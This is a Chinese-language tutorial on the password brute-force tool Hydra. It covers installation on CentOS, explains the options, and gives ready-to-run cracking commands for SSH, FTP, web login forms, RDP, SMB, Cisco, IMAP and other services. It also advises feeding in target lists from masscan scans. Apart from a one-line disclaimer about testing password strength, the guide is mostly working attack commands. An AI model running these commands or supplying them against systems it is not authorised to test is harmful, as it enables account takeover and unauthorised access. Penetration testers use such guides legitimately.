基於linux的密碼暴力破解工具

安裝和使用

基於linux的密碼暴力破解工具

hail hydra!每個漫威粉都應該知道這個口號,它是漫威宇宙中最大的人類反派組織九頭蛇的名片。如今hydra是行業有名的密碼暴力破解工具。

(1)安裝hydra

以centos7為例,安裝完epel庫後直接使用 yum install -y hydra 即可安裝。

(2)使用hydra

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

server service [OPT]

例如:

hydra -l root -P passwd.txt 192.168.1.1 -V -s 22 ssh -o show.txt

使用root加passwd.txt的密碼詞典爆破192.168.1.1 ssh的22號端口並顯示破解信息並將破解的信息輸出到show.txt文件裡面。

(1)大寫的L 可以指定用戶詞典。

(2)小寫的p可以指定密碼。

(3)大寫的M可以指定目標IP庫,一行一條,配合masscan掃描器使用簡直神器。

(4)-f 在使用-M參數後,找到第一對登錄名或者密碼的時候終止破解。

(5)-t 同時運行的線程數,默認為16。

(6)-w 設置最大超時的時間,單位秒,默認是30s。

(7)-o 指定結果輸出文件。

(8)-e ns 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探。

(9)大寫的S 採用SSL連接。

(10)-R 繼續從上一次進度接著破解。

使用方法:

(1)破解ssh:

hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip ssh

hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh

(2)破解ftp:

hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV

hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV

(3)get方式提交,破解web登錄:

hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/

hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php

(4)post方式提交,破解web登錄:

hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.1.1 http-post-form "login.php:id=^USER^&passwd=^PASS^:

<title>wrong username or password/<title>"

(參數說明:-t同時線程數3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當破解了一個密碼就停止, 192.168.1.1目標ip,http-post-form表示破解是採用http的post方式提交的表單密碼破解,

<title>中 的內容是表示錯誤猜解的返回信息提示。)

(5)破解https:

hydra -m /index.php -l muts -P pass.txt 192.168.1.1 https

(6)破解teamspeak:

hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak

(7)破解cisco:

hydra -P pass.txt 192.168.1.254 cisco

hydra -m cloud -P pass.txt 192.168.1.254 cisco-enable

(8)破解smb:

hydra -l administrator -P pass.txt 192.168.1.1 smb

(9)破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

(10)破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

(11)破解http-proxy:

hydra -l admin -P pass.txt http-proxy://192.168.1.1

(12)破解imap:

hydra -L user.txt -p secret 192.168.1.1 imap PLAIN

hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

最後小結

(1)這個工具僅供測試服務器系統的密碼強度。

(2)賬號密碼詞典需要自己編寫或者去找安全大神要。

(3)它終究是一個工具,要想發揮其最大的作用,需要配和wireshark、nmap、masscan使用。

(4)附上windows版本的下載地址

https://github.com/maaaaz/thc-hydra-windows

/<title>


分享到:


相關文章: